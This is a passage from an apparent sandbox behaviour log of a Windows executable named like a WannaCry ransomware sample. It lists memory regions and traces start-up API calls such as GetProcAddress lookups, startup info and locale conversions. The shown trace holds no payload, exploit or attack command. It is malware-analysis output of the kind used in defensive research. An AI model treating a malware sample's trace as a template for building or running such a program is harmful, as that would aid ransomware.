0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2075 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2076 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2077 start_va = 0xa96ad30000 end_va = 0xa96ad30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96ad30000" filename = "" Region: id = 2078 start_va = 0xa96c990000 end_va = 0xa96ca7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96c990000" filename = "" Region: id = 2079 start_va = 0xa96ad30000 end_va = 0xa96ad33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96ad30000" filename = "" Region: id = 2080 start_va = 0xa96ad50000 end_va = 0xa96ad56fff entry_point = 0x0 region_type = private name = "private_0x000000a96ad50000" filename = "" Region: id = 2081 start_va = 0xa96cb10000 end_va = 0xa96cc0ffff entry_point = 0x0 region_type = private name = "private_0x000000a96cb10000" filename = "" Region: id = 2082 start_va = 0xa96cc10000 end_va = 0xa96cd10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96cc10000" filename = "" Region: id = 2083 start_va = 0xa96b1e0000 end_va = 0xa96b1e0fff entry_point = 0x0 region_type = private name = "private_0x000000a96b1e0000" filename = "" Region: id = 2084 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2085 start_va = 0xa96cc10000 end_va = 0xa96cee4fff entry_point = 0xa96cc10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2086 start_va = 0xa96b1f0000 end_va = 0xa96b1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96b1f0000" filename = "" Region: id = 2087 start_va = 0xa96b200000 end_va = 0xa96b200fff entry_point = 0x0 region_type = private name = "private_0x000000a96b200000" filename = "" Region: id = 2088 start_va = 0xa96cef0000 end_va = 0xa96d3e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96cef0000" filename = "" Region: id = 2089 start_va = 0xa96d3f0000 end_va = 0xa96e25ffff entry_point = 0xa96d3f0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2090 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2091 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2092 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2093 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2094 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2095 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2096 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2097 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2098 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2099 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2100 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2101 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2102 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2103 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2104 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2105 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2106 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2107 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2108 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2109 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2110 start_va = 0xa96b210000 end_va = 0xa96b210fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96b210000" filename = "" Region: id = 2111 start_va = 0xa96e260000 end_va = 0xa96e477fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96e260000" filename = "" Region: id = 2112 start_va = 0xa96e480000 end_va = 0xa971315fff entry_point = 0xa96e480000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 2113 start_va = 0xa96b210000 end_va = 0xa96b212fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96b210000" filename = "" Region: id = 2114 start_va = 0xa96b220000 end_va = 0xa96b220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96b220000" filename = "" Region: id = 2115 start_va = 0xa96ca80000 end_va = 0xa96cac3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96ca80000" filename = "" Region: id = 2116 start_va = 0xa971320000 end_va = 0xa971719fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a971320000" filename = "" Region: id = 2117 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2118 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2119 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2132 start_va = 0xa96b230000 end_va = 0xa96b254fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a96b230000" filename = "" Thread: id = 140 os_tid = 0xb08 [0042.385] GetStartupInfoW (in: lpStartupInfo=0xa96accfe00 | out: lpStartupInfo=0xa96accfe00*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0042.385] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0042.385] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0042.385] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0042.385] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0042.385] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0042.385] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0042.385] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0042.386] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 0x7ffe2a07c850 [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0042.387] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0042.387] GetCurrentThreadId () returned 0xb08 [0042.388] GetStartupInfoW (in: lpStartupInfo=0xa96accfdf0 | out: lpStartupInfo=0xa96accfdf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0xa96ad75510)) [0042.388] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.388] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0042.388] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0042.388] GetCommandLineW () returned="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" [0042.388] GetEnvironmentStringsW () returned 0xa96ad764a0* [0042.388] FreeEnvironmentStringsW (penv=0xa96ad764a0) returned 1 [0042.388] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0042.389] GetLastError () returned 0x0 [0042.389] SetLastError (dwErrCode=0x0) [0042.389] GetLastError () returned 0x0 [0042.389] SetLastError (dwErrCode=0x0) [0042.389] GetLastError () returned 0x0 [0042.389] SetLastError (dwErrCode=0x0) [0042.389] GetACP () returned 0x4e4 [0042.389] GetLastError () returned 0x0 [0042.389] SetLastError (dwErrCode=0x0) [0042.389] IsValidCodePage (CodePage=0x4e4) returned 1 [0042.389] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xa96accfd60 | out: lpCPInfo=0xa96accfd60) returned 1 [0042.389] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xa96accf800 | out: lpCPInfo=0xa96accf800) returned 1 [0042.389] GetLastError () returned 0x0 [0042.389] SetLastError (dwErrCode=0x0) [0042.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xa96accf820, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xa96accf820, cbMultiByte=256, lpWideCharStr=0xa96accf500, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ碦ﶶ") returned 256 [0042.389] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ碦ﶶ", cchSrc=256, lpCharType=0xa96accfb20 | out: lpCharType=0xa96accfb20) returned 1 [0042.389] GetLastError () returned 0x0 [0042.389] SetLastError (dwErrCode=0x0) [0042.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xa96accf820, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xa96accf820, cbMultiByte=256, lpWideCharStr=0xa96accf4f0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0042.389] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.389] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xa96accf2e0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0042.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0xa96accf920, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ[\x01", lpUsedDefaultChar=0x0) returned 256 [0042.389] GetLastError () returned 0x0 [0042.389] SetLastError (dwErrCode=0x0) [0042.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xa96accf820, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xa96accf820, cbMultiByte=256, lpWideCharStr=0xa96accf4f0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0042.389] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.389] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xa96accf2e0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0042.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 